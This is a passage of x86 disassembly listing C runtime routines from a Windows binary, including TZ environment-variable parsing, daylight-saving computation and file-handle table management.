		mov	[ecx], ax


loc_41DBB4:				; CODE XREF: sub_41DB75+36j
					; sub_41DB75+C0j
		push	1
		pop	eax
		jmp	short loc_41DB9A
; ---------------------------------------------------------------------------


loc_41DBB9:				; CODE XREF: sub_41DB75+2Fj
		mov	ecx, off_43B5A0
		movzx	eax, al
		test	byte ptr [ecx+eax*2+1],	80h
		jz	short loc_41DC16
		mov	eax, dword_43B7AC
		cmp	eax, 1
		jle	short loc_41DBFD
		cmp	[ebp+arg_8], eax
		jl	short loc_41DC07
		xor	ecx, ecx
		cmp	[ebp+arg_0], ebx
		setnz	cl
		push	ecx
		push	[ebp+arg_0]
		push	eax
		push	esi
		push	9
		push	dword_5158FC
		nop
		call	near ptr 7C809BF8h
		test	eax, eax
		mov	eax, dword_43B7AC
		jnz	short loc_41DB9A


loc_41DBFD:				; CODE XREF: sub_41DB75+5Cj
		cmp	[ebp+arg_8], eax
		jb	short loc_41DC07
		cmp	[esi+1], bl
		jnz	short loc_41DB9A


loc_41DC07:				; CODE XREF: sub_41DB75+61j
					; sub_41DB75+8Bj ...
		mov	dword_515884, 2Ah
		or	eax, 0FFFFFFFFh
		jmp	short loc_41DB9A
; ---------------------------------------------------------------------------


loc_41DC16:				; CODE XREF: sub_41DB75+52j
		xor	eax, eax
		cmp	[ebp+arg_0], ebx
		setnz	al
		push	eax
		push	[ebp+arg_0]
		push	1
		push	esi
		push	9
		push	dword_5158FC
		nop
		call	near ptr 7C809BF8h
		test	eax, eax
		jnz	loc_41DBB4
		jmp	short loc_41DC07
sub_41DB75	endp


; =============== S U B	R O U T	I N E =======================================



sub_41DC3D	proc near		; CODE XREF: sub_41A824+76p
					; sub_41A824+88p ...

arg_0		= dword	ptr  4

		cmp	dword_43B7AC, 1
		jle	short loc_41DC54
		push	8
		push	[esp+4+arg_0]
		call	sub_419B4D
		pop	ecx
		pop	ecx
		retn
; ---------------------------------------------------------------------------


loc_41DC54:				; CODE XREF: sub_41DC3D+7j
		mov	eax, [esp+arg_0]
		mov	ecx, off_43B5A0
		mov	al, [ecx+eax*2]
		and	eax, 8
		retn
sub_41DC3D	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_41DC70	proc near		; CODE XREF: sub_41A824+797p
					; sub_41A824+7E7p
		cmp	cl, 40h
		jnb	short loc_41DC8A
		cmp	cl, 20h
		jnb	short loc_41DC80
		shld	edx, eax, cl
		shl	eax, cl
		retn
; ---------------------------------------------------------------------------


loc_41DC80:				; CODE XREF: sub_41DC70+8j
		mov	edx, eax
		xor	eax, eax
		and	cl, 1Fh
		shl	edx, cl
		retn
; ---------------------------------------------------------------------------


loc_41DC8A:				; CODE XREF: sub_41DC70+3j
		xor	eax, eax
		xor	edx, edx
		retn
sub_41DC70	endp


; =============== S U B	R O U T	I N E =======================================



sub_41DC8F	proc near		; CODE XREF: sub_41B29A+Fp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ebx
		mov	ebx, [esp+4+arg_0]
		cmp	ebx, 0FFFFFFFFh
		push	esi
		jz	short loc_41DCDB
		mov	esi, [esp+8+arg_4]
		mov	eax, [esi+0Ch]
		test	al, 1
		jnz	short loc_41DCAD
		test	al, 80h
		jz	short loc_41DCDB
		test	al, 2
		jnz	short loc_41DCDB


loc_41DCAD:				; CODE XREF: sub_41DC8F+14j
		cmp	dword ptr [esi+8], 0
		jnz	short loc_41DCBA
		push	esi
		call	sub_41D568
		pop	ecx


loc_41DCBA:				; CODE XREF: sub_41DC8F+22j
		mov	eax, [esi]
		cmp	eax, [esi+8]
		jnz	short loc_41DCCA
		cmp	dword ptr [esi+4], 0
		jnz	short loc_41DCDB
		inc	eax
		mov	[esi], eax


loc_41DCCA:				; CODE XREF: sub_41DC8F+30j
		test	byte ptr [esi+0Ch], 40h
		jz	short loc_41DCE1
		dec	dword ptr [esi]
		mov	eax, [esi]
		cmp	[eax], bl
		jz	short loc_41DCE7
		inc	eax
		mov	[esi], eax


loc_41DCDB:				; CODE XREF: sub_41DC8F+9j
					; sub_41DC8F+18j ...
		or	eax, 0FFFFFFFFh


loc_41DCDE:				; CODE XREF: sub_41DC8F+6Cj
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_41DCE1:				; CODE XREF: sub_41DC8F+3Fj
		dec	dword ptr [esi]
		mov	eax, [esi]
		mov	[eax], bl


loc_41DCE7:				; CODE XREF: sub_41DC8F+47j
		mov	eax, [esi+0Ch]
		inc	dword ptr [esi+4]
		and	al, 0EFh
		or	al, 1
		mov	[esi+0Ch], eax
		mov	eax, ebx
		and	eax, 0FFh
		jmp	short loc_41DCDE
sub_41DC8F	endp


; =============== S U B	R O U T	I N E =======================================



sub_41DCFD	proc near		; CODE XREF: sub_41B2D5:loc_41B314p
		cmp	dword_515AF8, 0
		jnz	short locret_41DD11
		call	sub_41DD12
		inc	dword_515AF8

locret_41DD11:				; CODE XREF: sub_41DCFD+7j
		retn
sub_41DCFD	endp


; =============== S U B	R O U T	I N E =======================================



sub_41DD12	proc near		; CODE XREF: sub_41DCFD+9p

var_4		= dword	ptr -4

		push	ecx
		push	ebx
		push	ebp
		push	esi
		push	edi
		xor	ebp, ebp
		or	ebx, 0FFFFFFFFh
		push	offset aTz	; "TZ"
		xor	edi, edi
		mov	dword_515A40, ebp
		mov	dword_43BEA8, ebx
		mov	dword_43BE98, ebx
		call	sub_41EFBB
		mov	esi, eax
		pop	ecx
		cmp	esi, ebp
		jnz	loc_41DE3B
		push	offset dword_515A48
		nop
		call	near ptr 7C8350BFh
		cmp	eax, ebx
		jz	loc_41DF6A
		mov	eax, dword_515A48
		mov	ecx, dword_515A9C
		imul	eax, 3Ch
		cmp	word_515A8E, bp
		push	1
		pop	edx
		mov	dword_43BE00, eax
		mov	dword_515A40, edx
		jz	short loc_41DD89
		mov	esi, ecx
		imul	esi, 3Ch
		add	eax, esi
		mov	dword_43BE00, eax


loc_41DD89:				; CODE XREF: sub_41DD12+69j
		cmp	word_515AE2, bp
		jz	short loc_41DDAD
		mov	eax, dword_515AF0
		cmp	eax, ebp
		jz	short loc_41DDAD
		sub	eax, ecx
		mov	dword_43BE04, edx
		imul	eax, 3Ch
		mov	dword_43BE08, eax
		jmp	short loc_41DDB9
; ---------------------------------------------------------------------------


loc_41DDAD:				; CODE XREF: sub_41DD12+7Ej
					; sub_41DD12+87j
		mov	dword_43BE04, ebp
		mov	dword_43BE08, ebp


loc_41DDB9:				; CODE XREF: sub_41DD12+99j
		lea	eax, [esp+14h+var_4]
		mov	esi, dword_421158
		push	eax
		push	ebp
		push	3Fh
		mov	edi, 220h
		push	off_43BE8C
		push	ebx
		push	offset dword_515A4C
		push	edi
		push	dword_5158FC
		call	esi	; WideCharToMultiByte
		test	eax, eax
		jz	short loc_41DDF6
		cmp	[esp+14h+var_4], ebp
		jnz	short loc_41DDF6
		mov	eax, off_43BE8C
		and	byte ptr [eax+3Fh], 0
		jmp	short loc_41DDFE
; ---------------------------------------------------------------------------


loc_41DDF6:				; CODE XREF: sub_41DD12+D1j
					; sub_41DD12+D7j
		mov	eax, off_43BE8C
		and	byte ptr [eax],	0


loc_41DDFE:				; CODE XREF: sub_41DD12+E2j
		lea	eax, [esp+14h+var_4]
		push	eax
		push	ebp
		push	3Fh
		push	off_43BE90
		push	ebx
		push	offset dword_515AA0
		push	edi
		push	dword_5158FC
		call	esi	; WideCharToMultiByte
		test	eax, eax
		jz	loc_41DF62
		cmp	[esp+14h+var_4], ebp
		jnz	loc_41DF62
		mov	eax, off_43BE90
		and	byte ptr [eax+3Fh], 0
		jmp	loc_41DF6A
; ---------------------------------------------------------------------------


loc_41DE3B:				; CODE XREF: sub_41DD12+2Dj
		cmp	byte ptr [esi],	0
		jz	loc_41DF6A
		mov	eax, dword_515AF4
		cmp	eax, ebp
		jz	short loc_41DE5E
		push	eax
		push	esi
		call	sub_4177D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_41DF6A


loc_41DE5E:				; CODE XREF: sub_41DD12+139j
		push	dword_515AF4
		call	sub_417C62
		push	esi
		call	sub_417AF0
		inc	eax
		push	eax
		call	sub_417BEE
		add	esp, 0Ch
		cmp	eax, ebp
		mov	dword_515AF4, eax
		jz	loc_41DF6A
		push	esi
		push	eax
		call	sub_417A00
		push	3
		push	esi
		push	off_43BE8C
		call	sub_4182F0
		mov	eax, off_43BE8C
		add	esi, 3
		add	esp, 14h
		and	byte ptr [eax+3], 0
		cmp	byte ptr [esi],	2Dh
		jnz	short loc_41DEB3
		push	1
		inc	esi
		pop	edi


loc_41DEB3:				; CODE XREF: sub_41DD12+19Bj
		push	esi
		call	sub_417894
		pop	ecx
		mov	bl, 30h
		mov	ecx, eax
		imul	ecx, 0E10h
		mov	dword_43BE00, ecx


loc_41DECA:				; CODE XREF: sub_41DD12+1C7j
		mov	al, [esi]
		cmp	al, 2Bh
		jz	short loc_41DED8
		cmp	al, bl
		jl	short loc_41DEDB
		cmp	al, 39h
		jg	short loc_41DEDB


loc_41DED8:				; CODE XREF: sub_41DD12+1BCj
		inc	esi
		jmp	short loc_41DECA
; ---------------------------------------------------------------------------


loc_41DEDB:				; CODE XREF: sub_41DD12+1C0j
					; sub_41DD12+1C4j
		cmp	byte ptr [esi],	3Ah
		jnz	short loc_41DF2E
		inc	esi
		push	esi
		call	sub_417894
		imul	eax, 3Ch
		pop	ecx
		mov	ecx, dword_43BE00
		add	ecx, eax
		mov	dword_43BE00, ecx


loc_41DEF9:				; CODE XREF: sub_41DD12+1F2j
		mov	al, [esi]
		cmp	al, bl
		jl	short loc_41DF06
		cmp	al, 39h
		jg	short loc_41DF06
		inc	esi
		jmp	short loc_41DEF9
; ---------------------------------------------------------------------------


loc_41DF06:				; CODE XREF: sub_41DD12+1EBj
					; sub_41DD12+1EFj
		cmp	byte ptr [esi],	3Ah
		jnz	short loc_41DF2E
		inc	esi
		push	esi
		call	sub_417894
		pop	ecx
		mov	ecx, dword_43BE00
		add	ecx, eax
		mov	dword_43BE00, ecx


loc_41DF21:				; CODE XREF: sub_41DD12+21Aj
		mov	al, [esi]
		cmp	al, bl
		jl	short loc_41DF2E
		cmp	al, 39h
		jg	short loc_41DF2E
		inc	esi
		jmp	short loc_41DF21
; ---------------------------------------------------------------------------


loc_41DF2E:				; CODE XREF: sub_41DD12+1CCj
					; sub_41DD12+1F7j ...
		cmp	edi, ebp
		jz	short loc_41DF3A
		neg	ecx
		mov	dword_43BE00, ecx


loc_41DF3A:				; CODE XREF: sub_41DD12+21Ej
		movsx	eax, byte ptr [esi]
		cmp	eax, ebp
		mov	dword_43BE04, eax
		jz	short loc_41DF62
		push	3
		push	esi
		push	off_43BE90
		call	sub_4182F0
		mov	eax, off_43BE90
		add	esp, 0Ch
		and	byte ptr [eax+3], 0
		jmp	short loc_41DF6A
; ---------------------------------------------------------------------------


loc_41DF62:				; CODE XREF: sub_41DD12+10Bj
					; sub_41DD12+115j ...
		mov	eax, off_43BE90
		and	byte ptr [eax],	0


loc_41DF6A:				; CODE XREF: sub_41DD12+40j
					; sub_41DD12+124j ...
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		pop	ecx
		retn
sub_41DD12	endp


; =============== S U B	R O U T	I N E =======================================



sub_41DF70	proc near		; CODE XREF: sub_41B2D5+A5p

arg_0		= dword	ptr  4

		push	ebx
		push	esi
		push	edi
		xor	edi, edi
		cmp	dword_43BE04, edi
		jnz	short loc_41DF84


loc_41DF7D:				; CODE XREF: sub_41DF70+148j
					; sub_41DF70+150j ...
		xor	eax, eax
		jmp	loc_41E0D0
; ---------------------------------------------------------------------------


loc_41DF84:				; CODE XREF: sub_41DF70+Bj
		mov	esi, [esp+0Ch+arg_0]
		push	1
		pop	ebx
		mov	eax, [esi+14h]
		cmp	eax, dword_43BE98
		jnz	short loc_41DFA2
		cmp	eax, dword_43BEA8
		jz	loc_41E0A4


loc_41DFA2:				; CODE XREF: sub_41DF70+24j
		cmp	dword_515A40, edi
		jz	loc_41E07A
		movzx	ecx, word_515AEE
		push	ecx
		cmp	word_515AE0, di
		movzx	ecx, word_515AEC
		push	ecx
		movzx	ecx, word_515AEA
		push	ecx
		movzx	ecx, word_515AE8
		push	ecx
		jnz	short loc_41DFF4
		movzx	ecx, word_515AE4
		push	edi
		push	ecx
		movzx	ecx, word_515AE6
		push	ecx
		movzx	ecx, word_515AE2
		push	ecx
		push	eax
		push	ebx
		jmp	short loc_41E008
; ---------------------------------------------------------------------------


loc_41DFF4:				; CODE XREF: sub_41DF70+65j
		movzx	ecx, word_515AE6
		push	ecx
		push	edi
		movzx	ecx, word_515AE2
		push	edi
		push	ecx
		push	eax
		push	edi


loc_41E008:				; CODE XREF: sub_41DF70+82j
		push	ebx
		call	sub_41E11C
		movzx	eax, word_515A9A
		add	esp, 2Ch
		cmp	word_515A8C, di
		push	eax
		movzx	eax, word_515A98
		push	eax
		movzx	eax, word_515A96
		push	eax
		movzx	eax, word_515A94
		push	eax
		jnz	short loc_41E062
		movzx	eax, word_515A90
		push	edi
		push	eax
		movzx	eax, word_515A92
		push	eax
		movzx	eax, word_515A8E
		push	eax
		push	dword ptr [esi+14h]
		push	ebx


loc_41E057:				; CODE XREF: sub_41DF70+108j
		push	edi
		call	sub_41E11C
		add	esp, 2Ch
		jmp	short loc_41E0A4
; ---------------------------------------------------------------------------


loc_41E062:				; CODE XREF: sub_41DF70+C8j
		movzx	eax, word_515A92
		push	eax
		push	edi
		movzx	eax, word_515A8E
		push	edi
		push	eax
		push	dword ptr [esi+14h]
		push	edi
		jmp	short loc_41E057
; ---------------------------------------------------------------------------


loc_41E07A:				; CODE XREF: sub_41DF70+38j
		push	edi
		push	edi
		push	edi
		push	2
		push	edi
		push	edi
		push	ebx
		push	4
		push	eax
		push	ebx
		push	ebx
		call	sub_41E11C
		push	edi
		push	edi
		push	edi
		push	2
		push	edi
		push	edi
		push	5
		push	0Ah
		push	dword ptr [esi+14h]
		push	ebx
		push	edi
		call	sub_41E11C
		add	esp, 58h


loc_41E0A4:				; CODE XREF: sub_41DF70+2Cj
					; sub_41DF70+F0j
		mov	edx, dword_43BE9C
		mov	eax, dword_43BEAC
		mov	ecx, [esi+1Ch]
		cmp	edx, eax
		jge	short loc_41E0D4
		cmp	ecx, edx
		jl	loc_41DF7D
		cmp	ecx, eax
		jg	loc_41DF7D
		cmp	ecx, edx
		jle	short loc_41E0E8
		cmp	ecx, eax
		jge	short loc_41E0E8


loc_41E0CE:				; CODE XREF: sub_41DF70+166j
					; sub_41DF70+16Aj
		mov	eax, ebx


loc_41E0D0:				; CODE XREF: sub_41DF70+Fj
					; sub_41DF70+19Dj
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_41E0D4:				; CODE XREF: sub_41DF70+144j
		cmp	ecx, eax
		jl	short loc_41E0CE
		cmp	ecx, edx
		jg	short loc_41E0CE
		cmp	ecx, eax
		jle	short loc_41E0E8
		cmp	ecx, edx
		jl	loc_41DF7D


loc_41E0E8:				; CODE XREF: sub_41DF70+158j
					; sub_41DF70+15Cj ...
		mov	eax, [esi+8]
		imul	eax, 3Ch
		add	eax, [esi+4]
		imul	eax, 3Ch
		add	eax, [esi]
		imul	eax, 3E8h
		cmp	ecx, edx
		jnz	short loc_41E10F
		xor	ecx, ecx
		cmp	eax, dword_43BEA0
		setnl	cl


loc_41E10B:				; CODE XREF: sub_41DF70+1AAj
		mov	eax, ecx
		jmp	short loc_41E0D0
; ---------------------------------------------------------------------------


loc_41E10F:				; CODE XREF: sub_41DF70+18Ej
		xor	ecx, ecx
		cmp	eax, dword_43BEB0
		setl	cl
		jmp	short loc_41E10B
sub_41DF70	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41E11C	proc near		; CODE XREF: sub_41DF70+99p
					; sub_41DF70+E8p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h
arg_20		= dword	ptr  28h
arg_24		= dword	ptr  2Ch
arg_28		= dword	ptr  30h

		push	ebp
		mov	ebp, esp
		cmp	[ebp+arg_4], 1
		push	ebx
		mov	ebx, [ebp+arg_8]
		push	esi
		jnz	loc_41E1B7
		mov	eax, [ebp+arg_C]
		mov	[ebp+arg_8], ebx
		and	[ebp+arg_8], 3
		mov	esi, eax
		jnz	short loc_41E147
		shl	esi, 2
		mov	eax, dword_43BEB0[esi]
		jmp	short loc_41E150
; ---------------------------------------------------------------------------


loc_41E147:				; CODE XREF: sub_41E11C+1Ej
		shl	esi, 2
		mov	eax, dword_43BEE4[esi]


loc_41E150:				; CODE XREF: sub_41E11C+29j
		mov	edx, ebx
		lea	ecx, [eax+1]
		imul	edx, 16Dh
		lea	eax, [ebx-1]
		push	edi
		sar	eax, 2
		mov	edi, ecx
		push	7
		add	edi, eax
		lea	eax, [edx+edi-63DBh]
		pop	edi
		cdq
		idiv	edi
		mov	eax, [ebp+arg_10]
		pop	edi
		cmp	edx, [ebp+arg_14]
		jge	short loc_41E18A
		imul	eax, 7
		sub	eax, edx
		add	eax, [ebp+arg_14]
		lea	ecx, [ecx+eax-7]
		jmp	short loc_41E194
; ---------------------------------------------------------------------------


loc_41E18A:				; CODE XREF: sub_41E11C+5Ej
		imul	eax, 7
		sub	eax, edx
		add	eax, [ebp+arg_14]
		add	ecx, eax


loc_41E194:				; CODE XREF: sub_41E11C+6Cj
		cmp	[ebp+arg_10], 5
		jnz	short loc_41E1D2
		cmp	[ebp+arg_8], 0
		jnz	short loc_41E1A8
		mov	esi, dword_43BEB4[esi]
		jmp	short loc_41E1AE
; ---------------------------------------------------------------------------


loc_41E1A8:				; CODE XREF: sub_41E11C+82j
		mov	esi, dword_43BEE8[esi]


loc_41E1AE:				; CODE XREF: sub_41E11C+8Aj
		cmp	ecx, esi
		jle	short loc_41E1D2
		sub	ecx, 7
		jmp	short loc_41E1D2
; ---------------------------------------------------------------------------


loc_41E1B7:				; CODE XREF: sub_41E11C+Cj
		mov	eax, [ebp+arg_C]
		test	bl, 3
		jnz	short loc_41E1C8
		mov	ecx, dword_43BEB0[eax*4]
		jmp	short loc_41E1CF
; ---------------------------------------------------------------------------


loc_41E1C8:				; CODE XREF: sub_41E11C+A1j
		mov	ecx, dword_43BEE4[eax*4]


loc_41E1CF:				; CODE XREF: sub_41E11C+AAj
		add	ecx, [ebp+arg_18]


loc_41E1D2:				; CODE XREF: sub_41E11C+7Cj
					; sub_41E11C+94j ...
		cmp	[ebp+arg_0], 1
		jnz	short loc_41E203
		mov	eax, [ebp+arg_1C]
		mov	dword_43BE9C, ecx
		imul	eax, 3Ch
		add	eax, [ebp+arg_20]
		mov	dword_43BE98, ebx
		imul	eax, 3Ch
		add	eax, [ebp+arg_24]
		imul	eax, 3E8h
		add	eax, [ebp+arg_28]
		mov	dword_43BEA0, eax
		jmp	short loc_41E258
; ---------------------------------------------------------------------------


loc_41E203:				; CODE XREF: sub_41E11C+BAj
		mov	eax, [ebp+arg_1C]
		mov	dword_43BEAC, ecx
		imul	eax, 3Ch
		add	eax, [ebp+arg_20]
		imul	eax, 3Ch
		add	eax, dword_43BE08
		add	eax, [ebp+arg_24]
		imul	eax, 3E8h
		add	eax, [ebp+arg_28]
		mov	dword_43BEB0, eax
		jns	short loc_41E23B
		add	eax, 5265C00h
		dec	ecx
		mov	dword_43BEB0, eax
		jmp	short loc_41E24C
; ---------------------------------------------------------------------------


loc_41E23B:				; CODE XREF: sub_41E11C+110j
		mov	edx, 5265C00h
		cmp	eax, edx
		jl	short loc_41E252
		sub	eax, edx
		inc	ecx
		mov	dword_43BEB0, eax


loc_41E24C:				; CODE XREF: sub_41E11C+11Dj
		mov	dword_43BEAC, ecx


loc_41E252:				; CODE XREF: sub_41E11C+126j
		mov	dword_43BEA8, ebx


loc_41E258:				; CODE XREF: sub_41E11C+E5j
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_41E11C	endp


; =============== S U B	R O U T	I N E =======================================



sub_41E25C	proc near		; CODE XREF: sub_41E476:loc_41E5EEp
		push	ebx
		push	esi
		push	edi
		or	ebx, 0FFFFFFFFh
		xor	edi, edi
		xor	esi, esi
		mov	ecx, offset dword_516B80


loc_41E26B:				; CODE XREF: sub_41E25C+48j
		mov	eax, [ecx]
		test	eax, eax
		jz	short loc_41E2A8
		lea	edx, [eax+100h]


loc_41E277:				; CODE XREF: sub_41E25C+28j
		cmp	eax, edx
		jnb	short loc_41E297
		test	byte ptr [eax+4], 1
		jz	short loc_41E286
		add	eax, 8
		jmp	short loc_41E277
; ---------------------------------------------------------------------------


loc_41E286:				; CODE XREF: sub_41E25C+23j
		or	dword ptr [eax], 0FFFFFFFFh
		sub	eax, [ecx]
		sar	eax, 3
		add	eax, esi
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jnz	short loc_41E2EB


loc_41E297:				; CODE XREF: sub_41E25C+1Dj
		add	ecx, 4
		inc	edi
		add	esi, 20h
		cmp	ecx, offset dword_516C80
		jl	short loc_41E26B
		jmp	short loc_41E2EB
; ---------------------------------------------------------------------------


loc_41E2A8:				; CODE XREF: sub_41E25C+13j
		mov	esi, 100h
		push	esi
		call	sub_417BEE
		test	eax, eax
		pop	ecx
		jz	short loc_41E2EB
		add	dword_516C80, 20h
		lea	ecx, ds:516B80h[edi*4]
		lea	edx, [eax+100h]
		mov	[ecx], eax


loc_41E2CE:				; CODE XREF: sub_41E25C+88j
		cmp	eax, edx
		jnb	short loc_41E2E6
		and	byte ptr [eax+4], 0
		or	dword ptr [eax], 0FFFFFFFFh
		mov	byte ptr [eax+5], 0Ah
		mov	edx, [ecx]
		add	eax, 8
		add	edx, esi
		jmp	short loc_41E2CE
; ---------------------------------------------------------------------------


loc_41E2E6:				; CODE XREF: sub_41E25C+74j
		shl	edi, 5
		mov	ebx, edi


loc_41E2EB:				; CODE XREF: sub_41E25C+39j
					; sub_41E25C+4Aj ...
		pop	edi
		mov	eax, ebx
		pop	esi
		pop	ebx
		retn
sub_41E25C	endp


; =============== S U B	R O U T	I N E =======================================



sub_41E2F1	proc near		; CODE XREF: sub_41E476+1F4p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		push	esi
		cmp	eax, dword_516C80
		push	edi
		jnb	short loc_41E351
		mov	ecx, eax
		mov	esi, eax
		sar	ecx, 5
		and	esi, 1Fh
		lea	edi, ds:516B80h[ecx*4]
		shl	esi, 3
		mov	ecx, [edi]
		cmp	dword ptr [ecx+esi], 0FFFFFFFFh
		jnz	short loc_41E351
		cmp	dword_43B594, 1
		push	ebx
		mov	ebx, [esp+0Ch+arg_4]
		jnz	short loc_41E347
		sub	eax, 0
		jz	short loc_41E33E
		dec	eax
		jz	short loc_41E339
		dec	eax
		jnz	short loc_41E347
		push	ebx
		push	0FFFFFFF4h
		jmp	short loc_41E341
; ---------------------------------------------------------------------------


loc_41E339:				; CODE XREF: sub_41E2F1+3Ej
		push	ebx
		push	0FFFFFFF5h
		jmp	short loc_41E341
; ---------------------------------------------------------------------------


loc_41E33E:				; CODE XREF: sub_41E2F1+3Bj
		push	ebx
		push	0FFFFFFF6h


loc_41E341:				; CODE XREF: sub_41E2F1+46j
					; sub_41E2F1+4Bj
		nop
		call	near ptr 7C81DC03h


loc_41E347:				; CODE XREF: sub_41E2F1+36j
					; sub_41E2F1+41j
		mov	eax, [edi]
		mov	[eax+esi], ebx
		xor	eax, eax
		pop	ebx
		jmp	short loc_41E365
; ---------------------------------------------------------------------------


loc_41E351:				; CODE XREF: sub_41E2F1+Cj
					; sub_41E2F1+28j
		and	dword_515888, 0
		mov	dword_515884, 9
		or	eax, 0FFFFFFFFh


loc_41E365:				; CODE XREF: sub_41E2F1+5Ej
		pop	edi
		pop	esi
		retn
sub_41E2F1	endp


; =============== S U B	R O U T	I N E =======================================



sub_41E368	proc near		; CODE XREF: sub_41B397+7Cp

arg_0		= dword	ptr  4

		mov	ecx, [esp+arg_0]
		push	esi
		cmp	ecx, dword_516C80
		push	edi
		jnb	short loc_41E3CB
		mov	eax, ecx
		mov	esi, ecx
		sar	eax, 5
		and	esi, 1Fh
		lea	edi, ds:516B80h[eax*4]
		shl	esi, 3
		mov	eax, [edi]
		add	eax, esi
		test	byte ptr [eax+4], 1
		jz	short loc_41E3CB
		cmp	dword ptr [eax], 0FFFFFFFFh
		jz	short loc_41E3CB
		cmp	dword_43B594, 1
		jnz	short loc_41E3C1
		xor	eax, eax
		sub	ecx, eax
		jz	short loc_41E3B8
		dec	ecx
		jz	short loc_41E3B3
		dec	ecx
		jnz	short loc_41E3C1
		push	eax
		push	0FFFFFFF4h
		jmp	short loc_41E3BB
; ---------------------------------------------------------------------------


loc_41E3B3:				; CODE XREF: sub_41E368+41j
		push	eax
		push	0FFFFFFF5h
		jmp	short loc_41E3BB
; ---------------------------------------------------------------------------


loc_41E3B8:				; CODE XREF: sub_41E368+3Ej
		push	eax
		push	0FFFFFFF6h


loc_41E3BB:				; CODE XREF: sub_41E368+49j
					; sub_41E368+4Ej
		nop
		call	near ptr 7C81DC03h


loc_41E3C1:				; CODE XREF: sub_41E368+38j
					; sub_41E368+44j
		mov	eax, [edi]
		or	dword ptr [eax+esi], 0FFFFFFFFh
		xor	eax, eax
		jmp	short loc_41E3DF
; ---------------------------------------------------------------------------


loc_41E3CB:				; CODE XREF: sub_41E368+Cj
					; sub_41E368+2Aj ...
		and	dword_515888, 0
		mov	dword_515884, 9
		or	eax, 0FFFFFFFFh


loc_41E3DF:				; CODE XREF: sub_41E368+61j
		pop	edi
		pop	esi
		retn
sub_41E368	endp


; =============== S U B	R O U T	I N E =======================================



sub_41E3E2	proc near		; CODE XREF: sub_41B397+32p
					; sub_41B397+49p ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		cmp	eax, dword_516C80
		jnb	short loc_41E40A
		mov	ecx, eax
		and	eax, 1Fh
		sar	ecx, 5
		mov	ecx, dword_516B80[ecx*4]
		test	byte ptr [ecx+eax*8+4],	1
		lea	eax, [ecx+eax*8]
		jz	short loc_41E40A
		mov	eax, [eax]
		retn
; ---------------------------------------------------------------------------


loc_41E40A:				; CODE XREF: sub_41E3E2+Aj
					; sub_41E3E2+23j
		and	dword_515888, 0
		mov	dword_515884, 9
		or	eax, 0FFFFFFFFh
		retn
sub_41E3E2	endp


; =============== S U B	R O U T	I N E =======================================



sub_41E41F	proc near		; CODE XREF: sub_41B475+2Bp

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		cmp	eax, dword_516C80
		jnb	short loc_41E468
		mov	ecx, eax
		mov	edx, eax
		sar	ecx, 5
		and	edx, 1Fh
		mov	ecx, dword_516B80[ecx*4]
		test	byte ptr [ecx+edx*8+4],	1
		jz	short loc_41E468
		push	eax
		call	sub_41E3E2
		pop	ecx
		push	eax
		nop
		call	near ptr 7C812641h
		test	eax, eax
		jnz	short loc_41E45D
		nop
		call	near ptr 7C910331h
		jmp	short loc_41E45F
; ---------------------------------------------------------------------------


loc_41E45D:				; CODE XREF: sub_41E41F+34j
		xor	eax, eax


loc_41E45F:				; CODE XREF: sub_41E41F+3Cj
		test	eax, eax
		jz	short locret_41E475
		mov	dword_515888, eax


loc_41E468:				; CODE XREF: sub_41E41F+Aj
					; sub_41E41F+22j
		mov	dword_515884, 9
		or	eax, 0FFFFFFFFh

locret_41E475:				; CODE XREF: sub_41E41F+42j
		retn
sub_41E41F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41E476	proc near		; CODE XREF: sub_41B851+13Fp

var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_1		= byte ptr -1
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		mov	ecx, [ebp+arg_4]
		push	ebx
		xor	ebx, ebx
		push	esi
		test	cl, 80h
		push	edi
		mov	[ebp+var_1C], 0Ch
		mov	[ebp+var_18], ebx
		jz	short loc_41E49C
		mov	[ebp+var_14], ebx
		mov	[ebp+var_1], 10h
		jmp	short loc_41E4A7
; ---------------------------------------------------------------------------


loc_41E49C:				; CODE XREF: sub_41E476+1Bj
		and	[ebp+var_1], 0
		mov	[ebp+var_14], 1


loc_41E4A7:				; CODE XREF: sub_41E476+24j
		mov	eax, 8000h
		test	ecx, eax
		jnz	short loc_41E4C1
		test	ch, 40h
		jnz	short loc_41E4BD
		cmp	dword_515B3C, eax
		jz	short loc_41E4C1


loc_41E4BD:				; CODE XREF: sub_41E476+3Dj
		or	[ebp+var_1], 80h


loc_41E4C1:				; CODE XREF: sub_41E476+38j
					; sub_41E476+45j
		push	3
		mov	eax, ecx
		pop	esi
		and	eax, esi
		sub	eax, ebx
		jz	short loc_41E4F9
		dec	eax
		jz	short loc_41E4F0
		dec	eax
		jz	short loc_41E4E7


loc_41E4D2:				; CODE XREF: sub_41E476+9Fj
					; sub_41E476+E8j ...
		mov	dword_515884, 16h
		mov	dword_515888, ebx
		jmp	loc_41E70C
; ---------------------------------------------------------------------------


loc_41E4E7:				; CODE XREF: sub_41E476+5Aj
		mov	[ebp+var_C], 0C0000000h
		jmp	short loc_41E500
; ---------------------------------------------------------------------------


loc_41E4F0:				; CODE XREF: sub_41E476+57j
		mov	[ebp+var_C], 40000000h
		jmp	short loc_41E500
